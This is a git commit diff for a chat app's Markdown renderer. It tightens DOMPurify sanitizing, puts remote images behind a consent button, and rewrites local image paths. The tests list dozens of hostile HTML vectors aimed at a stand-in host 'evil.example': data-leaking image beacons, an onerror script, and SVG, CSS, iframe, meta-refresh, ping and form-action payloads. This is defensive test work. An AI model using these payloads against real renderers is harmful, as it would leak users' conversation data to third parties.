summaryrefslogtreecommitdiffhomepage
path: root/src/features/markdown/logic
diff options
context:
space:
mode:
authorAdam Malczewski <[email protected]>2026-10-24 16:55:38 +0900
committerAdam Malczewski <[email protected]>2026-10-24 16:55:38 +0900
commit83442d00d9d9c7f0ca200d6a2e8b42195708493f (patch)
treeebeeef6c49d4cc3f5974e59b1156de3e5e4c7c6d /src/features/markdown/logic
parenta4aa86e66dad93f40bce640545d8903f7e6bcb64 (diff)
parentc8b2fb49835bde2f85d99a91b313e6a01ce1359c (diff)
downloaddispatch-web-83442d00d9d9c7f0ca200d6a2e8b42195708493f.tar.gz
dispatch-web-83442d00d9d9c7f0ca200d6a2e8b42195708493f.zip
Merge local dev into feature/close-tab-cascade-subagents
Diffstat (limited to 'src/features/markdown/logic')
-rw-r--r--src/features/markdown/logic/markdown.test.ts276
-rw-r--r--src/features/markdown/logic/markdown.ts270
-rw-r--r--src/features/markdown/logic/streaming-markdown.test.ts4
-rw-r--r--src/features/markdown/logic/streaming-markdown.ts61
4 files changed, 578 insertions, 33 deletions
diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 90f1938..f186da9 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -1,5 +1,12 @@
import { describe, expect, it } from "vitest";
-import { renderMarkdown } from "./markdown";
+import { renderMarkdown, renderMarkdownTail } from "./markdown";
+import { advance, createStreamingMarkdown } from "./streaming-markdown";
+
+/** The single rendered `<img>` src, or null. */
+function imageSrc(html: string): string | null {
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ return doc.querySelector("img")?.getAttribute("src") ?? null;
+}
describe("renderMarkdown", () => {
it("renders GFM markdown (headings, emphasis)", () => {
@@ -95,4 +102,271 @@ describe("renderMarkdown", () => {
it("returns an empty string for empty input", () => {
expect(renderMarkdown("")).toBe("");
});
+
+ describe("remote images require consent", () => {
+ const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+ it.each([
+ "![secret](https://evil.example/pixel?d=secret)",
+ "![secret](http://evil.example/pixel)",
+ "![secret](//evil.example/pixel)",
+ '<img src="https://evil.example/pixel" onerror="alert(1)">',
+ '<img src="//evil.example/pixel">',
+ '<img src="https:&#10;//evil.example/pixel">',
+ '<img src="/\\evil.example/pixel">',
+ ])("replaces %s with an inert, host-labelled button", (text) => {
+ const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+ expect(doc.querySelector("img")).toBeNull();
+ const button = doc.querySelector("button.remote-image");
+ expect(button?.textContent).toBe("Load image from evil.example");
+ expect(button?.getAttribute("type")).toBe("button");
+ expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+ expect(button?.hasAttribute("onerror")).toBe(false);
+ });
+
+ it.each([
+ "/local-image?path=%2Ftmp%2Fa.png",
+ "data:image/png;base64,iVBORw0KGgo=",
+ `${window.location.origin}/image.png`,
+ "http://localhost:24203/images/conversation/image.png",
+ ])("keeps trusted image %s", (src) => {
+ expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+ });
+
+ it("compares exact origins, not hostname prefixes or URL credentials", () => {
+ for (const src of [
+ "http://localhost:24203.evil.example/a.png",
+ "http://localhost:[email protected]/a.png",
+ "http://localhost:24206/a.png",
+ "https://localhost:24203/a.png",
+ ]) {
+ expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+ }
+ });
+
+ it("does not leak a backend allowlist between renders", () => {
+ const text = "![pic](http://localhost:24203/a.png)";
+ expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+ expect(imageSrc(renderMarkdown(text))).toBeNull();
+ });
+
+ it("removes responsive image sources so srcset cannot bypass consent", () => {
+ const html = renderMarkdown(
+ '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+ );
+ expect(html).not.toContain("srcset");
+ expect(html).not.toContain("evil.example");
+ });
+
+ it("blocks images in streaming tails and settled prefixes too", () => {
+ const state = createStreamingMarkdown();
+ const text = "![pic](https://evil.example/pixel)";
+ expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+ expect(advance(state, text).tailHtml).toContain("remote-image");
+ const settled = advance(state, `${text}\n\nafter\n`);
+ expect(settled.prefixHtml).toContain("remote-image");
+ expect(imageSrc(settled.prefixHtml)).toBeNull();
+ });
+
+ it("does not affect other DOMPurify consumers", async () => {
+ const { default: purify } = await import("dompurify");
+ expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+ });
+ });
+
+ describe("raw HTML cannot load remote content outside image consent", () => {
+ const remote = "https://evil.example/beacon";
+ const vectors = [
+ ["video poster", `<video poster="${remote}"></video>`, "video"],
+ ["video src", `<video src="${remote}" autoplay></video>`, "video"],
+ ["audio src", `<audio src="${remote}" preload="auto"></audio>`, "audio"],
+ ["source src", `<video><source src="${remote}"></video>`, "source"],
+ ["source srcset", `<picture><source srcset="${remote} 2x"></picture>`, "source"],
+ ["track src", `<video><track src="${remote}" default></video>`, "track"],
+ ["image input", `<input type="image" src="${remote}">`, "input"],
+ ["input src without type", `<input src="${remote}">`, "input"],
+ ["inline background", `<div style="background-image:url(${remote})">text</div>`, "[style]"],
+ ["inline CSS escape", `<p style="background: u\\72l(${remote})">text</p>`, "[style]"],
+ [
+ "inline image-set",
+ `<span style="background:image-set('${remote}' 1x)">text</span>`,
+ "[style]",
+ ],
+ ["style import", `<style>@import '${remote}';</style>`, "style"],
+ ["SVG image href", `<svg><image href="${remote}" /></svg>`, "svg,image"],
+ ["SVG image xlink", `<svg><image xlink:href="${remote}" /></svg>`, "svg,image"],
+ ["SVG use href", `<svg><use href="${remote}#x" /></svg>`, "svg,use"],
+ ["SVG use xlink", `<svg><use xlink:href="${remote}#x" /></svg>`, "svg,use"],
+ ["SVG filter", `<svg><filter><feImage href="${remote}" /></filter></svg>`, "svg,feImage"],
+ ["MathML", `<math href="${remote}"><mi>x</mi></math>`, "math"],
+ [
+ "table background",
+ `<table background="${remote}"><tr><td>x</td></tr></table>`,
+ "[background]",
+ ],
+ [
+ "td background",
+ `<table><tr><td background="${remote}">x</td></tr></table>`,
+ "[background]",
+ ],
+ ["body background", `<body background="${remote}">x</body>`, "[background]"],
+ ["object data", `<object data="${remote}"></object>`, "object"],
+ ["embed src", `<embed src="${remote}">`, "embed"],
+ ["embed data", `<embed data="${remote}">`, "embed"],
+ ["form action", `<form action="${remote}"><button>go</button></form>`, "form,[action]"],
+ ["button formaction", `<button formaction="${remote}">go</button>`, "[formaction]"],
+ ["input formaction", `<input type="submit" formaction="${remote}">`, "input,[formaction]"],
+ ["stylesheet link", `<link rel="stylesheet" href="${remote}">`, "link"],
+ ["preload link", `<link rel="preload" as="image" href="${remote}">`, "link"],
+ ["prefetch link", `<link rel="prefetch" href="${remote}">`, "link"],
+ ["DNS prefetch", `<link rel="dns-prefetch" href="//evil.example">`, "link"],
+ ["meta refresh", `<meta http-equiv="refresh" content="0;url=${remote}">`, "meta"],
+ ["iframe src", `<iframe src="${remote}"></iframe>`, "iframe"],
+ [
+ "iframe srcdoc",
+ `<iframe srcdoc="&lt;img src='${remote}'&gt;"></iframe>`,
+ "iframe,[srcdoc]",
+ ],
+ ["base URL", `<base href="${remote}/"><img src="/safe.png">`, "base"],
+ ["script src", `<script src="${remote}"></script>`, "script"],
+ ["anchor ping", `<a href="/safe" ping="${remote}">link</a>`, "[ping]"],
+ ["legacy command", `<command icon="${remote}">`, "command"],
+ ["legacy applet", `<applet codebase="${remote}" archive="x.jar"></applet>`, "applet"],
+ ["non-image src", `<div src="${remote}" href="${remote}">text</div>`, "[src],[href]"],
+ ] as const;
+
+ // Inspect the returned DOM, not jsdom's lack of resource fetching. Both
+ // authoritative renders and streaming tails must remove each active sink.
+ describe.each([
+ ["full", renderMarkdown],
+ ["tail", renderMarkdownTail],
+ ] as const)("%s render", (_name, render) => {
+ it.each(vectors)("neutralizes %s", (_vector, text, forbidden) => {
+ const doc = new DOMParser().parseFromString(render(text), "text/html");
+ expect(doc.querySelector(forbidden)).toBeNull();
+ for (const element of doc.body.querySelectorAll("*")) {
+ for (const attr of element.attributes) {
+ if (attr.name === "href" && element.tagName === "A") continue;
+ expect(attr.value).not.toContain("evil.example");
+ }
+ }
+ });
+ });
+
+ it("also blocks all vectors in settled streaming prefixes", () => {
+ for (const [_name, text, forbidden] of vectors) {
+ const state = createStreamingMarkdown();
+ advance(state, `${text}\n\ntail`);
+ const result = advance(state, `${text}\n\ntail grows`);
+ const doc = new DOMParser().parseFromString(
+ result.prefixHtml + result.tailHtml,
+ "text/html",
+ );
+ expect(doc.querySelector(forbidden)).toBeNull();
+ }
+ });
+
+ it("retains passive Markdown structure, highlighting and disabled task checkboxes", () => {
+ const html = renderMarkdown(
+ "- [x] done\n- [ ] pending\n\n| A | B |\n| - | - |\n| x | y |\n\n```js\nconst x = 1;\n```",
+ );
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ expect(doc.querySelectorAll('input[type="checkbox"][disabled]')).toHaveLength(2);
+ expect(doc.querySelector("input[checked]")).not.toBeNull();
+ expect(doc.querySelectorAll("td")).toHaveLength(2);
+ expect(doc.querySelector(".hljs-keyword")).not.toBeNull();
+ expect(doc.querySelector('button[data-copy][type="button"]')).not.toBeNull();
+ });
+
+ it("makes raw checkboxes and buttons inert, even inside an outer form", () => {
+ const doc = new DOMParser().parseFromString(
+ renderMarkdown('<input type="checkbox"><button type="submit">go</button>'),
+ "text/html",
+ );
+ expect(doc.querySelector("input")?.hasAttribute("disabled")).toBe(true);
+ expect(doc.querySelector("button")?.getAttribute("type")).toBe("button");
+ });
+
+ it("does not permit non-HTTP network schemes on images", () => {
+ expect(imageSrc(renderMarkdown('<img src="ftp://evil.example/beacon">'))).toBeNull();
+ });
+ });
+
+ describe("local-path images", () => {
+ const BASE = "http://localhost:24203";
+ const image = { apiBase: BASE, cwd: "/w/foo" };
+
+ it("rewrites a file:// URL to the backend image route", () => {
+ expect(imageSrc(renderMarkdown("![pic](file:///home/u/pic.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+ );
+ });
+
+ it("rewrites an absolute path; an empty apiBase yields a root-relative src", () => {
+ expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image: { apiBase: "" } }))).toBe(
+ "/local-image?path=%2Fhome%2Fu%2Fpic.png",
+ );
+ expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+ );
+ });
+
+ it("resolves a relative path against the conversation cwd", () => {
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+ );
+ expect(
+ imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE, cwd: "/w/foo/" } })),
+ ).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+
+ it("leaves a relative path untouched when no cwd is available", () => {
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE } }))).toBe(
+ "shot.png",
+ );
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+ );
+ expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
+ });
+
+ it("leaves data: images untouched", () => {
+ const data = "data:image/png;base64,iVBORw0KGgo=";
+ expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
+ });
+
+ it("does not rewrite image syntax inside fenced code", () => {
+ const html = renderMarkdown("```md\n![pic](/home/u/pic.png)\n```", { image });
+ expect(html).toContain("/home/u/pic.png");
+ expect(html).not.toContain("/local-image");
+ });
+
+ it("rewrites the streaming tail, the settled prefix, and a seeded tail", () => {
+ const state = createStreamingMarkdown();
+ const tail = advance(state, "![pic](/home/u/pic.png)", { image });
+ expect(imageSrc(tail.tailHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+ // The settled prefix must render with the same options too.
+ const settled = advance(state, "![pic](/home/u/pic.png)\n\nnext\n", { image });
+ expect(imageSrc(settled.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+ const seeded = renderMarkdownTail(
+ "![shot](shot.png)",
+ { fences: 0, bold: 0, code: 0 },
+ {
+ image,
+ },
+ );
+ expect(imageSrc(seeded)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+
+ it("invalidates the streaming cache when the image options change (async cwd)", () => {
+ const state = createStreamingMarkdown();
+ const text = "![shot](shot.png)\n\nnext\n";
+ advance(state, text);
+ expect(imageSrc(state.prefixHtml)).toBe("shot.png"); // no cwd yet
+ const updated = advance(state, text, { image });
+ expect(imageSrc(updated.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+ });
});
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index fd6caf9..ed287d2 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -36,6 +36,7 @@ import xml from "highlight.js/lib/languages/xml";
import yaml from "highlight.js/lib/languages/yaml";
import { Marked } from "marked";
import { markedHighlight } from "marked-highlight";
+import { resolveImageUrl } from "../../../core/chunks";
// Hot set: registered eagerly so common code blocks highlight on first paint.
const HOT_LANGUAGES: Record<string, LanguageFn> = {
@@ -184,33 +185,257 @@ function addCopyButtons(html: string): string {
.replace(/<\/pre>/g, "</pre></div>");
}
+// Positive policy: chat HTML is passive Markdown structure, not arbitrary web
+// content. New browser elements/attributes must not silently add fetch sinks.
+// In particular there is no CSS, SVG/MathML, media, form, embed or metadata.
+const MARKDOWN_TAGS = [
+ "a",
+ "abbr",
+ "b",
+ "blockquote",
+ "br",
+ "caption",
+ "code",
+ "col",
+ "colgroup",
+ "dd",
+ "del",
+ "details",
+ "div",
+ "dl",
+ "dt",
+ "em",
+ "h1",
+ "h2",
+ "h3",
+ "h4",
+ "h5",
+ "h6",
+ "hr",
+ "i",
+ "img",
+ "kbd",
+ "li",
+ "mark",
+ "ol",
+ "p",
+ "pre",
+ "q",
+ "rp",
+ "rt",
+ "ruby",
+ "s",
+ "samp",
+ "small",
+ "span",
+ "strong",
+ "sub",
+ "summary",
+ "sup",
+ "table",
+ "tbody",
+ "td",
+ "tfoot",
+ "th",
+ "thead",
+ "tr",
+ "u",
+ "ul",
+ "var",
+ "wbr",
+ "button",
+ "input",
+];
+const MARKDOWN_ATTRIBUTES = [
+ "alt",
+ "align",
+ "checked",
+ "class",
+ "colspan",
+ "disabled",
+ "height",
+ "href",
+ "open",
+ "reversed",
+ "rowspan",
+ "scope",
+ "src",
+ "start",
+ "title",
+ "type",
+ "width",
+];
+
/**
- * A DEDICATED DOMPurify instance (not the shared default export) so the
- * link hook below only applies to chat Markdown, never to any other sanitizer
- * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the
- * attributes, each `<a href>` gets `target="_blank"` + `rel="noopener
- * noreferrer"` (the opened page can't reach `window.opener` or see a referrer).
- * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML
- * anchors alike — and the hook overwrites any author-supplied target/rel.
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
*/
-const purify = DOMPurify();
-purify.addHook("afterSanitizeAttributes", (node) => {
- if (node.tagName === "A" && node.hasAttribute("href")) {
- node.setAttribute("target", "_blank");
- node.setAttribute("rel", "noopener noreferrer");
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+ const purify = DOMPurify();
+ const base = document.baseURI;
+ const origin = new URL(base).origin;
+ const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+ purify.addHook("uponSanitizeElement", (node) => {
+ // Keep GFM task lists, but no image/submit/other form controls. Removing
+ // only type/src would allow browser defaulting or later attribute changes.
+ if (
+ node.nodeName === "INPUT" &&
+ (node as Element).getAttribute("type")?.toLowerCase() !== "checkbox"
+ ) {
+ node.parentNode?.removeChild(node);
+ }
+ });
+ purify.addHook("afterSanitizeAttributes", (node) => {
+ // URL-bearing attributes are supported ONLY on these two HTML elements.
+ if (node.tagName !== "A") node.removeAttribute("href");
+ if (node.tagName !== "IMG") node.removeAttribute("src");
+ if (node.tagName === "INPUT") node.setAttribute("disabled", "");
+ if (node.tagName === "BUTTON") node.setAttribute("type", "button");
+ if (node.tagName === "A" && node.hasAttribute("href")) {
+ node.setAttribute("target", "_blank");
+ node.setAttribute("rel", "noopener noreferrer");
+ }
+ if (node.tagName !== "IMG") return;
+ const src = node.getAttribute("src");
+ if (src === null) return;
+ let url: URL;
+ try {
+ url = new URL(src, base);
+ } catch {
+ node.removeAttribute("src");
+ return;
+ }
+ if (url.protocol === "data:") return; // Image context cannot load subresources.
+ if (url.protocol !== "http:" && url.protocol !== "https:") {
+ node.removeAttribute("src");
+ return;
+ }
+ if (url.origin === origin || url.origin === backendOrigin) return;
+
+ // Only safe, inert attributes are carried over. In particular, never copy
+ // srcset or author event handlers to the image created after consent.
+ const button = node.ownerDocument.createElement("button");
+ button.setAttribute("type", "button");
+ button.setAttribute("class", "remote-image btn btn-sm");
+ button.setAttribute("data-src", url.href);
+ button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+ const title = node.getAttribute("title");
+ if (title !== null) button.setAttribute("data-title", title);
+ button.textContent = `Load image from ${url.host}`;
+ node.parentNode?.replaceChild(button, node);
+ });
+ return purify.sanitize(html, {
+ ALLOWED_TAGS: MARKDOWN_TAGS,
+ ALLOWED_ATTR: MARKDOWN_ATTRIBUTES,
+ // Keep consent/copy data and accessibility labels, never active URL sinks
+ // such as srcset, style, background, ping, action or namespaced href.
+ ALLOW_DATA_ATTR: true,
+ ALLOW_ARIA_ATTR: true,
+ });
+}
+
+/**
+ * Per-conversation context for rendering local-path images inline. `apiBase`
+ * is the backend HTTP base (may be `""` → a root-relative `/local-image?…`);
+ * `cwd` resolves RELATIVE Markdown image srcs against the conversation's
+ * working directory (the same machine the backend serves files from).
+ */
+export interface MarkdownImageOptions {
+ readonly apiBase: string;
+ readonly cwd?: string | null;
+}
+
+/** Render options shared by all three render paths. */
+export interface MarkdownRenderOptions {
+ /** Balance dangling delimiters while the message is still generating. */
+ readonly streaming?: boolean;
+ /** Rewrite local-path image srcs through the backend's `/local-image` route. */
+ readonly image?: MarkdownImageOptions;
+}
+
+/** Decode a URL-ish path, tolerating malformed `%` escapes. */
+function safeDecode(path: string): string {
+ try {
+ return decodeURIComponent(path);
+ } catch {
+ return path;
}
-});
+}
-function sanitize(html: string): string {
- return purify.sanitize(html);
+/**
+ * Rewrite one image `src` for the local-image feature. Pure: `input → output`.
+ *
+ * - `file:///path` → local absolute path (scheme stripped).
+ * - `/absolute/path` → local absolute path.
+ * - a relative path (no scheme, no leading `/`) → joined to the conversation
+ * `cwd` (no `cwd` → left untouched).
+ * - `http(s)://…`, `data:`, and any other scheme → left untouched.
+ *
+ * Local paths become `${apiBase}/local-image?path=<encoded>`, reusing
+ * `resolveImageUrl`'s join-without-double-slash semantics (an empty `apiBase`
+ * yields a root-relative path).
+ */
+function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
+ const trimmed = src.trim();
+ if (trimmed.length === 0) return src;
+ // Network-path URLs (including browser-normalized backslashes) are URLs,
+ // not local filesystem paths. The sanitizer applies the consent policy.
+ if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
+
+ let path: string;
+
+ if (/^file:\/\//i.test(trimmed)) {
+ // file:///abs/path (and file://localhost/abs/path) → /abs/path.
+ const match = /^file:\/\/([^/]*)(\/.*)?$/i.exec(trimmed);
+ if (match === null) return src;
+ const host = match[1] ?? "";
+ const filePath = match[2] ?? "/";
+ path = host === "" || host.toLowerCase() === "localhost" ? filePath : `/${host}${filePath}`;
+ path = safeDecode(path);
+ } else if (trimmed.startsWith("/")) {
+ path = safeDecode(trimmed);
+ } else if (trimmed.startsWith("~/")) {
+ // The backend expands a leading `~`; pass it through un-joined.
+ path = trimmed;
+ } else if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(trimmed)) {
+ // Some other scheme (mailto:, ftp:, …) — leave it alone.
+ return src;
+ } else {
+ const cwd = image.cwd ?? null;
+ if (cwd === null || cwd.length === 0) return src;
+ const base = cwd.replace(/\/+$/, "");
+ path = `${base}/${safeDecode(trimmed.replace(/^\.\//, ""))}`;
+ }
+
+ return resolveImageUrl(`/local-image?path=${encodeURIComponent(path)}`, image.apiBase);
+}
+
+/**
+ * Parse with marked, optionally rewriting image token `href`s just before
+ * rendering. Doing it on the token stream (not the Markdown source) means
+ * fenced/inline code is never touched, and reference-style images resolve
+ * through marked's normal link resolution. When `image` is absent the parse is
+ * byte-identical to today's.
+ */
+function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
+ if (image === undefined) return md.parse(src) as string;
+
+ const renderer = new md.Renderer();
+ const imageRenderer = renderer.image;
+ renderer.image = (token) =>
+ imageRenderer.call(renderer, {
+ ...token,
+ href: rewriteImageSrc(token.href, image),
+ });
+ return md.parse(src, { renderer }) as string;
}
/** Render Markdown to sanitized HTML. Returns `""` if parsing ever throws. */
-export function renderMarkdown(text: string, opts?: { streaming?: boolean }): string {
+export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
try {
- const raw = md.parse(src) as string;
- return sanitize(addCopyButtons(raw));
+ return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
} catch {
return "";
}
@@ -225,11 +450,14 @@ export function renderMarkdown(text: string, opts?: { streaming?: boolean }): st
* degenerate case (nothing settled yet) is exactly today's behavior.
* Returns `""` if parsing ever throws.
*/
-export function renderMarkdownTail(text: string, seed: DelimiterCounts = ZERO_COUNTS): string {
+export function renderMarkdownTail(
+ text: string,
+ seed: DelimiterCounts = ZERO_COUNTS,
+ opts?: MarkdownRenderOptions,
+): string {
const src = closeOpenDelimiters(text, seed);
try {
- const raw = md.parse(src) as string;
- return sanitize(addCopyButtons(raw));
+ return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
} catch {
return "";
}
diff --git a/src/features/markdown/logic/streaming-markdown.test.ts b/src/features/markdown/logic/streaming-markdown.test.ts
index f810579..931803b 100644
--- a/src/features/markdown/logic/streaming-markdown.test.ts
+++ b/src/features/markdown/logic/streaming-markdown.test.ts
@@ -240,6 +240,8 @@ describe("streaming-markdown corpus equivalence", () => {
});
describe("streaming-markdown performance fixture (counts, not wall-clock)", () => {
+ // Thousands of real parser/sanitizer calls contend with the unrestricted suite.
+ // This asserts operation counts, not speed; keep all counts and allow CPU load.
it("hljs calls and prefix mutations stay proportional to BLOCKS, not length × deltas", () => {
const spy = vi.spyOn(hljs, "highlight");
const state = createStreamingMarkdown();
@@ -282,7 +284,7 @@ describe("streaming-markdown performance fixture (counts, not wall-clock)", () =
expect(normalizeHtml(final.prefixHtml + final.tailHtml)).toBe(
normalizeHtml(renderMarkdown(doc, { streaming: true })),
);
- });
+ }, 20_000);
});
describe("markdown tail-pipeline exports", () => {
diff --git a/src/features/markdown/logic/streaming-markdown.ts b/src/features/markdown/logic/streaming-markdown.ts
index e273c66..b530cd4 100644
--- a/src/features/markdown/logic/streaming-markdown.ts
+++ b/src/features/markdown/logic/streaming-markdown.ts
@@ -31,6 +31,8 @@
import {
countDelimiters,
type DelimiterCounts,
+ type MarkdownImageOptions,
+ type MarkdownRenderOptions,
renderMarkdown,
renderMarkdownTail,
renderOpenFence,
@@ -90,6 +92,13 @@ export interface StreamingMarkdownState {
blankRunStart: number | null;
/** INTERNAL — the best settle candidate found by the current scan pass. */
pendingSettle: number;
+ /**
+ * INTERNAL — identity of the image-render options (apiBase + cwd) the cache
+ * was rendered with. The options can arrive asynchronously (the cwd loads
+ * after mount), so a change invalidates the settled cache: image srcs in the
+ * prefix would otherwise keep the stale resolution.
+ */
+ imageKey: string;
}
/** Fresh state for one streaming message. */
@@ -109,9 +118,22 @@ export function createStreamingMarkdown(): StreamingMarkdownState {
linkRefSeen: false,
blankRunStart: null,
pendingSettle: -1,
+ imageKey: "",
};
}
+/** Identity of the image options, so an async cwd appearing invalidates the cache. */
+function imageKeyOf(image: MarkdownImageOptions | undefined): string {
+ return image === undefined ? "" : JSON.stringify([image.apiBase, image.cwd ?? null]);
+}
+
+/** Build per-render options without setting `image: undefined` (exactOptionalPropertyTypes). */
+function renderOptionsOf(
+ image: MarkdownImageOptions | undefined,
+): MarkdownRenderOptions | undefined {
+ return image === undefined ? undefined : { image };
+}
+
// ── Scanner helpers (CommonMark block starts, mirroring what marked does) ──
/** A fenced-code-block opening line: ≤3 spaces indent, ≥3 backticks/tildes + info string. */
@@ -382,9 +404,13 @@ function scan(s: StreamingMarkdownState): void {
}
/** Render the newly-settled span once and fold it into the prefix cache. */
-function commitSettle(s: StreamingMarkdownState, end: number): void {
+function commitSettle(
+ s: StreamingMarkdownState,
+ end: number,
+ image: MarkdownImageOptions | undefined,
+): void {
const chunk = s.source.slice(s.settledOffset, end);
- s.prefixHtml += renderMarkdown(chunk);
+ s.prefixHtml += renderMarkdown(chunk, renderOptionsOf(image));
s.seed = addCounts(s.seed, countDelimiters(chunk));
s.settledOffset = end;
}
@@ -395,13 +421,24 @@ function commitSettle(s: StreamingMarkdownState, end: number): void {
* string identity is what lets Svelte skip settled DOM). Resets itself when
* the text shrinks or is otherwise not an append-extension.
*/
-export function advance(state: StreamingMarkdownState, textSoFar: string): StreamingMarkdownResult {
- if (textSoFar === state.source && state.last !== null) return state.last;
- if (!textSoFar.startsWith(state.source)) {
+export function advance(
+ state: StreamingMarkdownState,
+ textSoFar: string,
+ opts?: MarkdownRenderOptions,
+): StreamingMarkdownResult {
+ const image = opts?.image;
+ const imageKey = imageKeyOf(image);
+ if (textSoFar === state.source && state.last !== null && state.imageKey === imageKey) {
+ return state.last;
+ }
+ // A changed render option (e.g. the cwd loading after mount) invalidates the
+ // settled cache — its image srcs were resolved with the old options.
+ if (state.imageKey !== imageKey || !textSoFar.startsWith(state.source)) {
resetTo(state, textSoFar);
} else {
state.source = textSoFar;
}
+ state.imageKey = imageKey;
// A PARTIAL trailing line that starts a `[…]:` definition already changes
// how the whole-text parse resolves shortrefs (marked parses the truncated
@@ -418,10 +455,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
scan(state);
if (!state.linkRefSeen && state.pendingSettle > state.settledOffset) {
- commitSettle(state, state.pendingSettle);
+ commitSettle(state, state.pendingSettle, image);
}
- const result = renderTail(state);
+ const result = renderTail(state, image);
state.last = result;
return result;
}
@@ -434,7 +471,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
* between the marker's arrival and the line's completion);
* 3. otherwise prose → today's pipeline, seeded with the settled parity.
*/
-function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
+function renderTail(
+ s: StreamingMarkdownState,
+ image: MarkdownImageOptions | undefined,
+): StreamingMarkdownResult {
// 1. Open top-level fence: everything from its opening line is code content.
if (s.fence !== null && s.fence.start >= s.settledOffset) {
let code = s.source.slice(s.fence.contentStart);
@@ -467,7 +507,8 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
const prose = s.source.slice(s.settledOffset, s.scanOffset);
return {
prefixHtml: s.prefixHtml,
- tailHtml: renderMarkdownTail(prose, s.seed) + renderOpenFence(info, ""),
+ tailHtml:
+ renderMarkdownTail(prose, s.seed, renderOptionsOf(image)) + renderOpenFence(info, ""),
};
}
}
@@ -475,6 +516,6 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
// 3. Prose tail.
return {
prefixHtml: s.prefixHtml,
- tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed),
+ tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed, renderOptionsOf(image)),
};
}